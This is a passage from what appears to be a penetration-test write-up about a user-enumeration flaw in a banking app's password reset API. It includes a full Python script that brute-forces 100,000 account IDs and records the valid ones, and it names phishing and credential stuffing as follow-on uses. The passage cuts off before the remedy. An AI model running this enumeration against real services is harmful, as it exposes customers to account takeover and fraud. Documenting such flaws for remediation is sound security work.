Moving on to the password reset functionality exposed at http://localhost:80/api/password/forgot. The application leaks information about valid users based on the content of the response. Specifically, when submitting a request with a nonexistent userid, the server consistently returns a structured failure message: “status”: “Failed”, “status_code”: “PSW002”, “message”: “User not registered”. However, when a valid user ID is submitted, the response differs, typically by returning an “OTP created” message. Combined with the absence of rate limiting, this response discrepancy allows for efficient and automated user enumeration.
To exploit this, I crafted a Python script to systematically send POST requests using user IDs in the format BNK00000 through BNK99999, mimicking a 5-digit PIN scheme commonly used in financial applications. The request body adhered to the expected JSON structure, and each attempt was evaluated based on whether the response matched the known “User not registered” failure pattern. Any deviation was interpreted as a likely indication that the BNKID exists in the application’s database.
import requests
import json
url = "http://localhost:80/api/password/forgot"
headers = {"Content-Type": "application/json"}
# Signature "not found" response
FAIL_SIGNATURE = {
"status": "Failed",
"status_code": "PSW002",
"message": "User not registered"
}
results = []
for i in range(100000): # 00000 to 99999
bnk_id = f"BNK{i:05d}"
payload = {
"requestBody": {
"timestamp": "325553",
"device": {
"deviceid": "UHDGGF735SVHFVSX",
"os": "ios",
"host": "lucideustech.com"
},
"data": {
"userid": bnk_id,
"otp_type": "4"
}
}
}
try:
resp = requests.post(url, headers=headers, data=json.dumps(payload), timeout=3)
data = resp.json()
# Compare key fields of the failure signature
if not (
data.get("status") == FAIL_SIGNATURE["status"]
and data.get("status_code") == FAIL_SIGNATURE["status_code"]
and data.get("message") == FAIL_SIGNATURE["message"]
):
print(f"[+] Found response for {bnk_id}: {data}")
results.append((bnk_id, data))
except Exception as e:
print(f"Error for {bnk_id}: {e}")
# Save to file
if results:
with open("valid_bnk_ids.json", "w") as f:
json.dump(results, f, indent=2)
print(f"\n[+] Saved {len(results)} valid entries to valid_bnk_ids.json")
else:
print("\n[-] No valid BNK IDs found.")
This allowed me to programmatically enumerate valid bank account IDs without authentication, simply by exploiting predictable ID formats and weak feedback control in the API. The discovered IDs can be further leveraged in IDOR, phishing, or credential stuffing attacks against the application.

This issue rates around CVSS 6.5 (Medium-High) due to information leakage that allows attackers to enumerate valid users remotely and easily.
As a remedy, we should: